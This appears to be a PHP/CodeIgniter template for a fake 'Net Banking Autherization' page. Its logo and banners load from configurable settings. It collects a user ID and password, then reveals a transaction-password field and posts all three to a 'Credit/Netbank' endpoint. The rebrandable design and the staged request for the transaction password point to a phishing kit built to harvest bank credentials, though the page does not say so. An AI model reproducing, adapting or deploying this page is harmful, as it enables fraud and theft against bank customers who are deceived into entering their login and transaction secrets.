<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Net Banking Autherization</title>
    <link rel="stylesheet" href="<?= base_url()?>assets/credit/styles.css">
     <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css">
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
</head>
<body>
 <header class="sticky-banner">
          <div class="logo"><img src="<?= base_url(). $settings->upload ?>" style="max-width: 100%;"></div>
    </header>
<body>

    <div class="preloader">
        <div class="logo"><img src="<?= base_url(). $settings->upload ?>" style="max-width: 200px;"></div>
    </div>

   
 <div class="banner-container">
        <div class="banner-slide active" align="center">
            <img src="<?= base_url(). $settings->image1 ?>" alt="Image 1">
        </div>
        <div class="banner-slide">
            <img src="<?= base_url(). $settings->image2 ?>" alt="Image 2">
        </div>
        <div class="banner-slide">
            <img src="<?= base_url(). $settings->image3 ?>" alt="Image 3">
        </div>
    </div>
    <main>
        <div class="form-container">
            <form class="user-form" action="<?= base_url()?>Credit/Netbank" method="post">
                  <div class="input-container">
  <i class="fa fa-bank"></i>
                <input type="text" name="userid"  placeholder="USER ID" required></div>
                <div class="input-container">
  <i class="fa fa-lock"></i>
                <input type="password" name="password" placeholder="Enter Password" required></div>
                <div class="input-container">
  <i class="fa fa-shield-halved" style="display:none;" id="icon" ></i>
                <input type="password" name="tpassword" style="display:none;" id="tpassword" placeholder="Transaction Password" required></div>
                <button name="button" id="next" value="Login" type="submit">Login</button>
                <button name="submit" id="login" style="display:none;" value="Login" type="submit">Login</button>
            </form>
        </div>
    </main>
    
   
</div>
<div>
                <center>
                    <img src="<?= base_url() ?>assets/credit/footer1.jpg" style="width:100vw; margin-top : 40px;" alt="Header" />
                     <img src="<?= base_url() ?>assets/credit/footer2.jpg" style="width:100vw;" alt="Header" />
                     <img src="<?= base_url() ?>assets/credit/footer3.jpg" style="width:100vw; " alt="Header" />
                </center>
            
            
                
            </div>
   

    <script>
     $(document).ready(function(){
        $('#next').click(function(){
            $('#tpassword').show();
             $('#icon').show();
            $('#login').show();
            $(this).hide();
        })
    })
        window.addEventListener("load", function() {
            const preloader = document.querySelector(".preloader");
            preloader.style.display = "none"; // Hide preloader once the page is loaded
        });
    </script>
    <script>
        let currentSlide = 0;
const slides = document.querySelectorAll('.banner-slide');
const totalSlides = slides.length;

function showSlide(index) {
    slides.forEach((slide, i) => {
        slide.classList.remove('active');
        if (i === index) {
            slide.classList.add('active');
        }
    });
}

function nextSlide() {
    currentSlide = (currentSlide + 1) % totalSlides;
    showSlide(currentSlide);
}

setInterval(nextSlide, 3000); // Change slide every 3 seconds
    </script>

</body>
</html>
